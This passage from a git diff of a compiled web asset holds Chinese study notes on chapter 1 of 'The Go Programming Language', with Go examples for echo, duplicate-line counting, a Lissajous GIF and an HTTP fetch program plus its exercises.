+ sep = " "
+ for _ , arg := range os. Args[ 1 : ] {
+ getParams += arg + sep
+ }
+ fmt. Println ( getParams)
+}
+
Go 中不允许有未使用的局部变量, 但是可以使用空标识符 _
来忽略某个变量
_
可用于在任何语法上需要变量名但是程序逻辑中之处
对于已声明的变量, 使用 :=
会报错 "no new variables on left side of :="
此时可以使用 = 赋值
每次循环迭代字符串 getParams
的内容都会更新。+=
连接原字符串、空格和下个参数,产生新字符串,并把它赋值给 getParams
。getParams 原来的内容已经不再使用,将在适当时机对它进行垃圾回收 。
如果连接涉及的数据量很大,这种方式代价高昂。一种简单且高效的解决方案是使用 strings
包的 Join
函数:
+func Echo_Join ( ) {
+ fmt. Println ( strings. Join ( os. Args[ 1 : ] , " " ) )
+}
+
如果不关心输出格式的话, 直接打印 os.Args[1:]
也是可以的
+func Echo_direct_print_slice ( ) {
+ fmt. Println ( os. Args[ 1 : ] )
+}
+
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+ "fmt"
+)
+
+func main ( ) {
+ fmt. Println ( "echo 基本写法:" )
+ cmd_param. Print_cmd_args ( )
+ fmt. Println ( "echo 切片写法:" )
+ cmd_param. Echo_Slice ( )
+ fmt. Println ( "echo strings.Join() 写法:" )
+ cmd_param. Echo_Join ( )
+ fmt. Println ( "echo 直接打印切片:" )
+ cmd_param. Echo_direct_print_slice ( )
+}
+
+
`,34),tn=n("p",null,"TODO:: 加入计时分析, 以直观地对比各优化版本的实际效果",-1),en={href:"https://gopl-zh.github.io/ch1/ch1-06.html",target:"_blank",rel:"noopener noreferrer"},on=n("code",null,"time",-1),pn={href:"https://gopl-zh.github.io/ch11/ch11-04.html",target:"_blank",rel:"noopener noreferrer"},cn=n("hr",null,null,-1),ln=n("h2",{id:"ch1-3-查找重复的行",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#ch1-3-查找重复的行","aria-hidden":"true"},"#"),s(" ch1.3 查找重复的行")],-1),un={href:"https://gopl-zh.github.io/ch1/ch1-03.html",target:"_blank",rel:"noopener noreferrer"},dn=e(`对文件做拷贝、打印、搜索、排序、统计或类似事情的程序都有一个差不多的程序结构:一个处理输入的循环,在每个元素上执行计算处理,在处理的同时或最后产生输出。
本节展示一个名为dup
的程序的三个版本;灵感来自于 Unix 的 uniq
命令,其寻找相邻的重复行。
dup
的第一个版本打印标准输入中多次出现的行,以重复次数开头。该程序将引入 if
语句,map
数据类型以及 bufio
包。
package ch1
+
+import (
+ "bufio"
+ "fmt"
+ "os"
+)
+
+
+func Dup1 ( ) {
+
+ counts := make ( map [ string ] int )
+
+ input := bufio. NewScanner ( os. Stdin)
+
+ for input. Scan ( ) {
+
+ if input. Text ( ) == "0" {
+ break
+ }
+ counts[ input. Text ( ) ] ++
+
+ }
+
+ for line, n := range counts {
+ if n > 1 {
+ fmt. Printf ( "%d\\t%s\\n" , n, line)
+ }
+ }
+}
+
+
`,6),rn=e("map 从功能上来说和 Python 的 dict 比较像, 都可以存储键值对
map 存储了键/值(key/value)的集合,对集合元素,提供常数时间的存、取或测试操作。
键可以是任意类型,只要其值能用 ==
运算符比较,最常见的例子是字符串; 值则可以是任意类型。 这个例子中的键是字符串,值是整数。 内置函数 make
创建空 map
",4),kn={href:"https://gopl-zh.github.io/ch4/ch4-03.html",target:"_blank",rel:"noopener noreferrer"},mn=e(`bufio
包使处理输入和输出方便又高效。Scanner
类型是该包最有用的特性之一,它读取输入并将其拆成行或单词;通常是处理行形式的输入最简单的方法。
程序使用短变量声明创建 bufio.Scanner
类型的变量 input
。
input := bufio. NewScanner ( os. Stdin)
+
该变量从程序的标准输入中读取内容。每次调用 input.Scan()
,即读入下一行,并移除行末的换行符;读取的内容可以调用 input.Text()
得到。Scan
函数在读到一行时返回 true
,不再有输入时返回 false
。
if 后面跟的条件语句不用括号, 但是主体部分必须加花括号, 就算只有一行也要加
map
中不含某个键时不用担心,首次读到新行时,等号右边的表达式 counts[line]
的值将被计算为其类型的零值,对于 int
即 0
。
关于 Printf 格式化输出:
%d 十进制整数
+%x, %o, %b 十六进制,八进制,二进制整数。
+%f, %g, %e 浮点数: 3.141593 3.141592653589793 3.141593e+00
+%t 布尔:true或false
+%c 字符(rune) (Unicode码点)
+%s 字符串
+%q 带双引号的字符串"abc"或带单引号的字符'c'
+%v 变量的自然形式(natural format)
+%T 变量的类型
+%% 字面上的百分号标志(无操作数)
+
`,4),vn=e(`很多程序要么从标准输入中读取数据,如上面的例子所示,要么从一系列具名文件中读取数据。dup
程序的下个版本读取标准输入或是使用 os.Open
打开各个具名文件,并操作它们。
+func countLines ( f * os. File, counts map [ string ] int ) {
+ input := bufio. NewScanner ( f)
+ for input. Scan ( ) {
+
+ if input. Text ( ) == "-1" {
+ break
+ }
+ counts[ input. Text ( ) ] ++
+ }
+
+}
+
+
+func Dup2 ( ) {
+ counts := make ( map [ string ] int )
+ files := os. Args[ 1 : ]
+ if len ( files) == 0 {
+ countLines ( os. Stdin, counts)
+ } else {
+ for _ , arg := range files {
+ f, err := os. Open ( arg)
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "dup2: %v\\n" , err)
+ continue
+ }
+ countLines ( f, counts)
+ f. Close ( )
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt. Printf ( "%d\\t%s\\n" , n, line)
+ }
+ }
+}
+
os.Open
函数返回两个值
第一个值是被打开的文件(*os.File
),其后被 Scanner
读取。 第二个值是内置 error
类型的值 如果 err
等于内置值nil
(相当于其它语言里的 NULL
),那么文件被成功打开。读取文件,直到文件结束,然后调用 Close
关闭该文件,并释放占用的所有资源。 如果 err
的值不是 nil
,说明打开文件时出错了。这种情况下,错误值描述了所遇到的问题; 在上面的程序中对于此种情况的处理只是简单地将错误输出了 在 Printf 中用了 %v
表示任意类型默认格式值 continue
语句直接跳到 for
循环的下个迭代开始执行。 关于 CountLines 函数, 其实放在 Dup2 函数后面声明也是可以正常调用的, 不过个人习惯还是写把 Dup2 中要用到的函数写在前面了
函数和包级别的变量(package-level entities)可以任意顺序声明,并不影响其被调用。
map
是一个由 make
函数创建的数据结构的引用 。map
作为参数传递给某函数时,该函数接收这个引用的一份拷贝 ,被调用函数对 map
底层数据结构的任何修改,调用者函数都可以通过持有的 map
引用看到。在我们的例子中,countLines
函数向 counts
插入的值,也会被 Dup2
函数看到。
dup
的前两个版本以"流”模式读取输入,并根据需要拆分成多个行。理论上,这些程序可以处理任意数量的输入数据。
还有另一个方法,就是一口气把全部输入数据读到内存中,一次分割为多行,然后处理它们。下面这个版本,dup3
,就是这么操作的。这个例子引入了 ReadFile
函数(来自于io/ioutil
包),其读取指定文件的全部内容,strings.Split
函数把字符串分割成子串的切片。(Split
的作用与前文提到的 strings.Join
相反。)
+func Dup3 ( ) {
+ counts := make ( map [ string ] int )
+ for _ , filename := range os. Args[ 1 : ] {
+ data, err := ioutil. ReadFile ( filename)
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "dup3: %v\\n" , err)
+ continue
+ }
+ for _ , line := range strings. Split ( string ( data) , "\\n" ) {
+ counts[ line] ++
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt. Printf ( "%d\\t%s\\n" , n, line)
+ }
+ }
+}
+
ReadFile
函数返回一个字节切片(byte slice),必须把它转换为 string
,才能用 strings.Split
分割。
在 3.5.4 章中会有对字符串和字节切片的详细讲解
实现上,bufio.Scanner
、ioutil.ReadFile
和 ioutil.WriteFile
都使用 *os.File
的 Read
和 Write
方法,但是,大多数程序员很少需要直接调用那些低级(lower-level)函数。高级(higher-level)函数,像 bufio
和 io/ioutil
包中所提供的那些,用起来要容易点。
仔细看上图中的输出会发现 cmd3 只计算到了 2 次, 这是因为文件最后没有换行, 可以将所有键值对输出看看:
可以看到有两个 cmd3
这是因为我们使用的 \\n
切分的字符串, Windows 下的默认行尾序列时 CRLF
也即 \\r\\n
, VSCode 中可以调节行尾序列, 这里我用的 Windows 系统, VSCode 中默认也是 CRLF, 所以实际上最后三行切分的结果是: cmd3\\r
, cmd3\\r
, cmd3
; 因此输出的时候会看到两个 cmd3
如果修改为根据 \\r\\n
切分的话就可以得到预期结果了:
除此以外,在 Go 1.16 之后 io/ioutil 已经弃用了
这里可以直接使用 os.ReadFile
, 效果是一样的:
ch1.4 GIF 动画 package ch1
+
+import (
+ "image"
+ "image/color"
+ "image/gif"
+ "io"
+ "math"
+ "math/rand"
+ "os"
+ "time"
+)
+
+var palette = [ ] color. Color{ color. White, color. Black}
+
+const (
+ whiteIndex = 0
+ blackIndex = 1
+)
+
+func LissajousMain ( ) {
+ rand. Seed ( time. Now ( ) . UTC ( ) . UnixNano ( ) )
+ lissajous ( os. Stdout)
+}
+
+func lissajous ( out io. Writer) {
+ const (
+ cycles = 5
+ res = 0.001
+ size = 100
+ nframes = 64
+ delay = 8
+ )
+
+ freq := rand. Float64 ( ) * 3.0
+ anim := gif. GIF{ LoopCount: nframes}
+ phase := 0.0
+ for i := 0 ; i < nframes; i++ {
+ rect := image. Rect ( 0 , 0 , 2 * size+ 1 , 2 * size+ 1 )
+ img := image. NewPaletted ( rect, palette)
+ for t := 0.0 ; t < cycles* 2 * math. Pi; t += res {
+ x := math. Sin ( t)
+ y := math. Sin ( t* freq + phase)
+ img. SetColorIndex ( size+ int ( x* size+ 0.5 ) , size+ int ( y* size+ 0.5 ) ,
+ blackIndex)
+ }
+ phase += 0.1
+ anim. Delay = append ( anim. Delay, delay)
+ anim. Image = append ( anim. Image, img)
+ }
+
+ gif. EncodeAll ( out, & anim)
+}
+
+
`,17),gn=n("li",null,[n("p",null,[n("code",null,"line27~33"),s(" 的常量声明给出了一系列的常量值,常量是指在程序编译后运行时始终都不会变化的值,比如圈数、帧数、延迟值。常量声明和变量声明一般都会出现在包级别,所以这些常量在整个包中都是可以共享的,或者你也可以把常量声明定义在函数体内部,那么这种常量就只能在函数体内用。目前常量声明的值必须是一个数字值、字符串或者一个固定的 boolean 值。")])],-1),bn=n("li",null,[n("p",null,[n("code",null,"[]color.Color{...}"),s(" 和 "),n("code",null,"gif.GIF{...}"),s(" 这两个表达式是复合声明(4.2 和 4.4.1 节有说明)。这是实例化 Go 语言里的复合类型的一种写法。")]),n("p",null,"前者生成的是一个 slice 切片,后者生成的是一个 struct 结构体。")],-1),hn=e(`lissajous 函数内部有两层嵌套的 for 循环。外层循环会循环 64 次,每一次都会生成一个单独的动画帧。它生成了一个包含两种颜色的 201*201 大小的图片,白色和黑色。所有像素点都会被默认设置为其零值(也就是调色板 palette 里的第 0 个值),这里我们设置的是白色。每次外层循环都会生成一张新图片,并将一些像素设置为黑色。其结果会 append 到之前结果之后。这里我们用到了 append(参考 4.2.1)内置函数,将结果 append 到 anim 中的帧列表末尾,并设置一个默认的 80ms 的延迟值。循环结束后所有的延迟值被编码进了 GIF 图片中,并将结果写入到输出流。out 这个变量是 io.Writer 类型,这个类型支持把输出结果写到很多目标,很快我们就可以看到例子。
内层循环设置两个偏振值。x 轴偏振使用 sin 函数。y 轴偏振也是正弦波,但其相对 x 轴的偏振是一个 0-3 的随机值,初始偏振值是一个零值,随着动画的每一帧逐渐增加。循环会一直跑到 x 轴完成五次完整的循环。每一步它都会调用 SetColorIndex 来为(x,y)点来染黑色。
main 函数调用 lissajous 函数,用它来向标准输出流打印信息,所以下面这个命令会像图 1.1 中产生一个 GIF 动画。
go build main
+main.exe > out.gif
+
`,4),fn=n("p",null,"Windows 下需要在 CMD 下执行该命令, 使用 powershell 生成的 gif 文件无法查看, 检查 hex 可以看到一些 00",-1),_n=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202301100000401.png",alt:"image-20230110000030361"})],-1),qn=n("p",null,"可参阅:",-1),yn={href:"https://stackoverflow.com/questions/56323293/go-generated-animated-gifs-didnt-work-in-windows",target:"_blank",rel:"noopener noreferrer"},wn={href:"https://github.com/golang/go/issues/13746",target:"_blank",rel:"noopener noreferrer"},xn={href:"https://github.com/golang/go/issues/42337",target:"_blank",rel:"noopener noreferrer"},En={href:"https://www.cnblogs.com/linxiaoxu/p/16187331.html",target:"_blank",rel:"noopener noreferrer"},Gn=n("p",null,[s("如果使用 powershell 重定向管道 "),n("code",null,"go run main.exe > out.gif"),s(" 生成的 gif 图片将会出错无法打开。具体原因是 powershell 的标准输出流如果进行管道重定向会进行转换。")],-1),An=n("code",null,'"\\n"',-1),Pn=n("code",null,'"\\r\\n"',-1),Cn={href:"https://golang.org/pkg/image/gif/#EncodeAll",target:"_blank",rel:"noopener noreferrer"},Sn=n("code",null,"gif.EncodeAll()",-1),Bn=n("code",null,"cmd.exe",-1),Fn=n("p",null,[s("解决方法可以用其他命令行工具比如 cmd,或者在代码中明确使用 "),n("code",null,"os.File"),s(" 创建文件等形式。")],-1),Rn=e(`TODO: 这节内容其实有一些代码没有完全理解, 后面学完 ch4 再回来看看
ch1.5 获取 URL Go 语言在 net package 的帮助下提供了一些列的 package 来访问互联网上的信息, 使用这些包可以更简单地用网络收发信息, 还可以建立更底层的网络连接, 编写服务器程序, 在这些情景下, Go 语言原生的并发特性显得尤其好用
在第八章中会介绍 Go 语言原生的并发特性
TODO: 在可以建立更底层的网络连接方面看起来似乎可以用来构造一些欺骗性质的请求, 之后遇到可以试试
下面是一个 fetch 程序的示例, fetch 到对应 url 并打印响应文本
这个例子的灵感来源于 curl
package ch1
+
+import (
+ "fmt"
+ "io"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\\n" , err)
+ os. Exit ( 1 )
+ }
+ b, err := io. ReadAll ( resp. Body)
+ resp. Body. Close ( )
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: reading %s: %v\\n" , url, err)
+ os. Exit ( 1 )
+ }
+ fmt. Printf ( "%s" , b)
+ }
+
+}
+
+
`,8),Tn=e(`
上述是请求成功的情况
请求失败:
超时:
译注:在大天朝的网络环境下很容易重现这种错误,下面是 Windows 下运行得到的错误信息:
$ go run main.go http://gopl.io
+fetch: Get http://gopl.io: dial tcp: lookup gopl.io: getaddrinfow: No such host is known.
+
无论哪种失败原因,上述程序都用了 os.Exit
函数来终止进程,并且返回一个 status 错误码,其值为 1。
`,2),zn=n("p",null,[n("code",null,":="),s(" 是一个赋值运算符, 用于 "),n("code",null,"声明并初始化"),s(" 一个变量, 其左边是一个或多个变量, 右边是一个或多个表达式")],-1),Hn=n("p",null,[n("code",null,":="),s(" 运算符只能用在函数内部,不能用在全局作用域")],-1),Dn=n("p",null,[s("它可以简化变量的声明和赋值过程,不需要使用 "),n("code",null,"var"),s(" 关键字或指定变量的类型")],-1),Ln={href:"https://stackoverflow.com/questions/16521472/assignment-operator-in-go-language",target:"_blank",rel:"noopener noreferrer"},Nn=e(`Go 语言中, os.Args
是一个字符串切片,用于存储命令行参数
os.Args[0]
是程序名称, os.Args[1:]
是程序的参数, 例如当前目录下有一个名为 hello.go
的程序, 在命令行中使用如下语句编译并运行该程序文件
go run hello.go world !
+
那么 os.Args
的值就是:
["hello", "world", "!"]
+
range os.Args[1:]
是一个 for 循环语法, 用于遍历切片中的每个元素, range 的返回结果是 索引 元素值
的形式, 例如:
for i, arg := range os. Args[ 1 : ] {
+ fmt. Println ( i, arg)
+}
+
输出
在本节的示例程序中使用了 _
来承接循环体内不会使用到的索引值
http.Get(url)
返回一个响应对象和一个错误对象
响应对象中包含了响应的状态码, 头部, 正文等信息
错误对象表示请求过程中发生了错误, 如果没有错误则错误对象为 nil
nil
是一个预定义的标识符,表示指针、通道、函数、接口、映射或切片类型的零值
nil
只能给指针, 通道, 函数, 接口, 映射或切片类型的变量赋值, 否则会引发 panic, 例如
var i int = nil // 错误:cannot use nil as type int in assignment
+var p *int = nil // 正确:p是一个指向int类型的空指针
+
nil
可以用来检查一个变量是否为空或者未初始化, 例如
var s [ ] string
+if s == nil {
+ fmt. Println ( "s is nil" )
+}
+
`,3),Wn=n("p",null,[n("code",null,"Fprintf"),s(" 和 "),n("code",null,"printf"),s(" 之间的主要区别是输出目标不同。")],-1),In=n("p",null,[n("code",null,"Fprintf"),s(" 可以指定任意的 "),n("code",null,"io.Writer"),s(" 作为输出目标")],-1),On=n("p",null,[n("code",null,"printf"),s(" 只能输出到标准输出流。")],-1),Un={href:"https://stackoverflow.com/questions/4627330/difference-between-fprintf-printf-and-sprintf",target:"_blank",rel:"noopener noreferrer"},Vn={href:"https://stackoverflow.com/questions/53879154/println-vs-printf-vs-print-in-go",target:"_blank",rel:"noopener noreferrer"},jn=e(`Fprintf
的第一个参数是一个 io.Writter
类型的变量, 表示输出流, 其可以是文件, 网络连接, 标准输出等
Fprintf
会将后面第 2 个及之后参数按照指定格式写入到输出流中, 例如:
f, err := os. Create ( "test.txt" )
+if err != nil {
+ log. Fatal ( err)
+}
+defer f. Close ( )
+fmt. Fprintf ( f, "Hello, %s!\\n" , "world" )
+
printf
的第一个参数是一个字符串,表示格式化模板,后面的参数是要格式化的值。printf
会将格式化后的文本输出到标准输出流(通常是屏幕)。例如:
fmt. Printf ( "The answer is %d.\\n" , 42 )
+
`,1),Jn=e("os.Stderr
是 Go 语言中的一个标准错误输出流, 它是一个 io.Writter
类型的接口, 可以用于向标准错误输出(通常是中断或者控制台) 写入数据
一般情况下, 我们可以使用 os.Stderr
来打印错误信息或调试信息, 而不影响正常的标准输出流
",1),Mn=e("ioutil.ReadAll
用于从一个 Io.Reader
中读取所有数据
io.Reader
是一个接口, 表示可以从某个某个实体中读取数据流的能力, 具体来说, 它允许你从实现了 io.Reader
接口中的东西读取数据到一个字节切片中, 一些常见的实现了 io.Reader
接口的类型有:
文件 (*os.File
) 网络连接(*net.TCPConn
, *net.UDPConn
等) 缓冲区 (*bytes.Buffer
) 压缩/解压缩器(*gzip.Reader
, *flate.Reader
等) 加密/解密器(*cipher.StreamReader
等) ",3),Kn={href:"https://www.jianshu.com/p/758c4e2b4ab8",target:"_blank",rel:"noopener noreferrer"},$n=n("p",null,[s("使用 "),n("code",null,"ioutil.ReadAll(resp.Body)"),s(" 读取了响应体之后,需要使用 "),n("code",null,"resp.Body.Close()"),s(" 关闭响应体,是因为")],-1),Qn=e("resp.Body
是一个 io.ReadCloser
类型的接口, 它包含了 io.Reader
和 io.Closer
两个接口
io.Closer
接口定义了一个 Close()
方法, 用于关闭资源并释放底层的文件描述符
如果不关闭 resp.Body
, 那么底层的网络连接将无法被复用, 导致资源泄露与性能下降
",2),Xn=n("p",null,[s("通常情况下, 我们应当在读取完 "),n("code",null,"resp.Body"),s(" 后立即调用 "),n("code",null,"resp.Body.Close()"),s(" 来关闭响应体, 并且使用 "),n("code",null,"defer"),s(" 语句确保在函数返回时一定会执行这个操作")],-1),Yn={href:"https://stackoverflow.com/questions/38673673/access-http-response-as-string-in-go",target:"_blank",rel:"noopener noreferrer"},Zn=e(`var client http. Client
+resp, err := client. Get ( url)
+if err != nil {
+ log. Fatal ( err)
+}
+defer resp. Body. Close ( )
+
+if resp. StatusCode == http. StatusOK {
+ bodyBytes, err := io. ReadAll ( resp. Body)
+
+
+
+ if err != nil {
+ log. Fatal ( err)
+ }
+ bodyString := string ( bodyBytes)
+ log. Info ( bodyString)
+}
+
`,1),ns={href:"https://stackoverflow.com/questions/38673673/access-http-response-as-string-in-go",target:"_blank",rel:"noopener noreferrer"},ss={href:"https://stackoverflow.com/questions/52076747/how-do-i-turn-an-io-reader-into-a-io-readcloser/52076748#52076748",target:"_blank",rel:"noopener noreferrer"},as=n("p",null,[s("不过 "),n("code",null,"Go 1.16"),s(" 版本弃用了 "),n("code",null,"io/ioutil"),s(", 可以使用 "),n("code",null,"io.ReadAll"),s(" 代替 "),n("code",null,"ioutil.ReadAll")],-1),ts={href:"https://go.dev/doc/go1.16#ioutil",target:"_blank",rel:"noopener noreferrer"},es=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202303160102329.png",alt:"image-20230316010211279"})],-1),os=e(` 练习 1.7 使用 io.Copy
替代 io.outil.ReadAll
函数调用 io.Copy(dst, src)
会从 src 中读取内容,并将读到的结果写入到 dst 中,使用这个函数替代掉例子中的 ioutil.ReadAll
来拷贝响应结构体到 os.Stdout
,避免申请一个缓冲区(例子中的 b)来存储。记得处理 io.Copy
返回结果中的错误。
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody_Copy ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\\n" , err)
+ os. Exit ( 1 )
+ }
+ defer resp. Body. Close ( )
+
+ n, err := io. Copy ( os. Stdout, resp. Body)
+ if err != nil {
+ log. Fatal ( err)
+ }
+ fmt. Printf ( "Copied %d bytes" , n)
+ }
+}
+
+
io.Copy
函数是从一个 io.Reader
接口读取数据, 并写到一个 io.Writter
接口, 直到读取完毕或发生错误
使用 io.Copy
的一般格式是
n, err := io. Copy ( dst, src)
+
n
字节数err
复制过程中遇到的错误(dst, src)
(目标的 io.Writter, 源的 io.Reader)
log.Fatal
函数用于在但因输出内容后, 退出应用程序
相当于调用了 log.Print
和 os.Exit(1)
两个函数, 通常用于处理无法回复的错误情况
log.Print
用于在标准错误输出 os.Stderr
上打印一条日志信息, 相当于调用了 fmt.FPrint(v ... interface[])
其与 fmt.Printf(os.Stderr)
有如下区别
log.Print
会自动添加当前日期和时间作为前缀, 而后者不会log.Print
会自动添加换行符作为后缀, 而后者不会log.Print
可以从多个 goroutine
安全地调用, 而后者需要使用同步机制来避免竞争条件
练习 1.8 补充前缀 修改 fetch
这个范例,如果输入的 url 参数没有 http://
前缀的话,为这个 url 加上该前缀。你可能会用到 strings.HasPrefix
这个函数。
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+
+ if ! strings. HasPrefix ( url, "http://" ) {
+ url = "http://" + url
+ fmt. Printf ( "输入的url参数没有 http:// 前缀,已为该url加上该前缀\\n当前url为: %s\\n" , url)
+ }
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\\n" , err)
+ os. Exit ( 1 )
+ }
+ defer resp. Body. Close ( )
+
+ n, err := io. Copy ( os. Stdout, resp. Body)
+ if err != nil {
+ log. Fatal ( err)
+ }
+ fmt. Printf ( "Copied %d bytes \\n" , n)
+ }
+}
+
+
strings.HasPrefix
函数用于判断一个字符串是否包含指定前缀, 如果包含则返回 true
, 否则返回 false
, 其使用方式为:
strings. HasPrefix ( s string , prefix string ) bool
+
其中 s
为需要判断的字符串, prefix
为要检查的前缀
练习 1.9 输出状态码 修改 fetch 打印出 HTTP 协议的状态码,可以从 resp.Status
变量得到该状态码。
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix_Status ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+
+ if ! strings. HasPrefix ( url, "http://" ) {
+ url = "http://" + url
+ fmt. Printf ( "输入的url参数没有 http:// 前缀,已为该url加上该前缀\\n当前url为: %s\\n" , url)
+ }
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\\n" , err)
+ os. Exit ( 1 )
+ }
+ defer resp. Body. Close ( )
+
+
+ fmt. Printf ( "HTTP协议的状态码: %s" , resp. Status)
+
+ n, err := io. Copy ( os. Stdout, resp. Body)
+ if err != nil {
+ log. Fatal ( err)
+ }
+ fmt. Printf ( "Copied %d bytes \\n" , n)
+ }
+}
+
+
resp.Status
与 resp.Body
不同, 它只是一个字符串, 并非可关闭的资源, 因此不用像后者一样需要考虑关闭以避免资源泄露 `,18);function ps(cs,is){const t=i("ExternalLinkIcon"),l=i("Tabs");return d(),r("div",null,[m,n("blockquote",null,[n("p",null,[n("a",v,[s("入门 - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),g]),b,h,f,_,n("blockquote",null,[n("p",null,[n("a",q,[s("Hello, World - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),y]),w,n("blockquote",null,[x,n("blockquote",null,[n("p",null,[n("a",E,[s("Relative imports in Go - Stack Overflow"),a(t)])]),n("p",null,[n("a",G,[s("go - func not exported by package. - SegmentFault 思否"),a(t)])]),A]),P,n("blockquote",null,[n("ul",null,[C,n("li",null,[S,n("blockquote",null,[n("p",null,[n("a",B,[s("Relative imports in Go - Stack Overflow"),a(t)])]),F]),n("blockquote",null,[n("p",null,[s("在 "),n("a",R,[s("Hello World"),a(t)]),s(" 章节最开始做的第一步就是初始化了一个 Go 应用, 在这个过程里就定义了应用名")]),T])]),n("li",null,[z,n("blockquote",null,[n("p",null,[n("a",H,[s("go - func not exported by package. - SegmentFault 思否"),a(t)])]),D]),L])])]),N,n("ul",null,[n("li",null,[W,I,O,U,n("blockquote",null,[V,n("blockquote",null,[n("p",null,[n("a",j,[s("go test - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),n("p",null,[n("a",J,[s("测试函数 - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),M]),K])])])]),$,n("blockquote",null,[n("p",null,[n("a",Q,[s("Golang 单引号、双引号和反引号 - 腾讯云开发者社区-腾讯云 (tencent.com)"),a(t)])]),X]),Y,a(l,{id:"462",data:[{id:"bellow go1.17.1"},{id:"above go1.17.1"}],active:1},{title0:o(({value:p,isActive:c})=>[s("bellow go1.17.1")]),title1:o(({value:p,isActive:c})=>[s("above go1.17.1")]),tab0:o(({value:p,isActive:c})=>[Z]),tab1:o(({value:p,isActive:c})=>[nn]),_:1}),n("blockquote",null,[n("p",null,[s("对于大多数用户来说,下载、编译包、运行测试用例、察看 Go 语言的文档等等常用功能都可以用 go 的工具完成。学习 "),n("a",sn,[s("10.7 节"),a(t)]),s(" 时会详细介绍这些知识。")])]),an,n("blockquote",null,[tn,n("blockquote",null,[n("p",null,[s("("),n("a",en,[s("1.6 节"),a(t)]),s("讲解了部分 "),on,s(" 包,"),n("a",pn,[s("11.4 节"),a(t)]),s("展示了如何写标准测试程序,以得到系统性的性能评测。)")])])]),cn,ln,n("blockquote",null,[n("p",null,[n("a",un,[s("查找重复的行 - Go 语言圣经 (gopl-zh.github.io)"),a(t)])])]),dn,n("ul",null,[n("li",null,[rn,n("blockquote",null,[n("p",null,[s("关于 Map 的其他用法学到 4.3 会有一章讲解: "),n("a",kn,[s("Map - Go 语言圣经 (gopl-zh.github.io)"),a(t)])])])]),mn]),vn,n("ul",null,[gn,bn,n("li",null,[hn,n("blockquote",null,[fn,_n,qn,n("ul",null,[n("li",null,[n("p",null,[n("a",yn,[s("image - Go-generated animated GIFs didn't work in windows - Stack Overflow"),a(t)])])]),n("li",null,[n("p",null,[n("a",wn,[s("image/gif: result of EncodeAll not viewable in Eye of GNOME · Issue #13746 · golang/go (github.com)"),a(t)])])]),n("li",null,[n("p",null,[n("a",xn,[s("os: Binary data written to os.Stdout gets corrupted on Windows 8.1 · Issue #42337 · golang/go (github.com)"),a(t)])])]),n("li",null,[n("p",null,[n("a",En,[s("《Go 语言圣经》 读书笔记与个人思考 ① 第一章、包括源码分析 - 小能日记 - 博客园 (cnblogs.com)"),a(t)])]),Gn,n("blockquote",null,[n("p",null,[s("The GIF file (the gif data) is a binary format, not textual. Attempting to write it to the standard output and redirecting that to a file may suffer transformations. For example, the Windows PowerShell most likely converts some control characters (like "),An,s(" to "),Pn,s("), so the resulting binary will not be identical to what "),n("a",Cn,[Sn,a(t)]),s(" writes to the standard output. Apparently "),Bn,s(" does not do such transformations.")])]),Fn])])])])]),Rn,n("blockquote",null,[Tn,n("ul",null,[n("li",null,[zn,Hn,Dn,n("blockquote",null,[n("p",null,[n("a",Ln,[s("syntax - Assignment operator in Go language - Stack Overflow"),a(t)])])])]),Nn,n("li",null,[Wn,In,On,n("blockquote",null,[n("p",null,[n("a",Un,[s("c - Difference between fprintf, printf and sprintf? - Stack Overflow"),a(t)])]),n("p",null,[n("a",Vn,[s("Println vs Printf vs Print in Go - Stack Overflow"),a(t)])])]),jn]),Jn,n("li",null,[Mn,n("blockquote",null,[n("p",null,[n("a",Kn,[s("Go 编程技巧--io.Reader/Writer - 简书 (jianshu.com)"),a(t)])])])]),n("li",null,[$n,n("ul",null,[Qn,n("li",null,[Xn,n("p",null,[s("比如在 "),n("a",Yn,[s("networking - Access HTTP response as string in Go - Stack Overflow"),a(t)]),s(" 的一个回答中给出了一个示例代码")]),Zn])]),n("blockquote",null,[n("p",null,[n("a",ns,[s("networking - Access HTTP response as string in Go - Stack Overflow"),a(t)])]),n("p",null,[n("a",ss,[s("go - How do I turn an io.Reader into a io.ReadCloser? - Stack Overflow"),a(t)])])]),as,n("blockquote",null,[n("p",null,[n("a",ts,[s("Go 1.16 Release Notes - ioutil - The Go Programming Language"),a(t)])]),es])])])]),os])}const ds=u(k,[["render",ps],["__file","CH1-入门.html.vue"]]);export{ds as default};
diff --git "a/assets/CH1-\345\205\245\351\227\250.html-e4a22f29.js" "b/assets/CH1-\345\205\245\351\227\250.html-e4a22f29.js"
new file mode 100644
index 0000000000..43a6dc5336
--- /dev/null
+++ "b/assets/CH1-\345\205\245\351\227\250.html-e4a22f29.js"
@@ -0,0 +1 @@
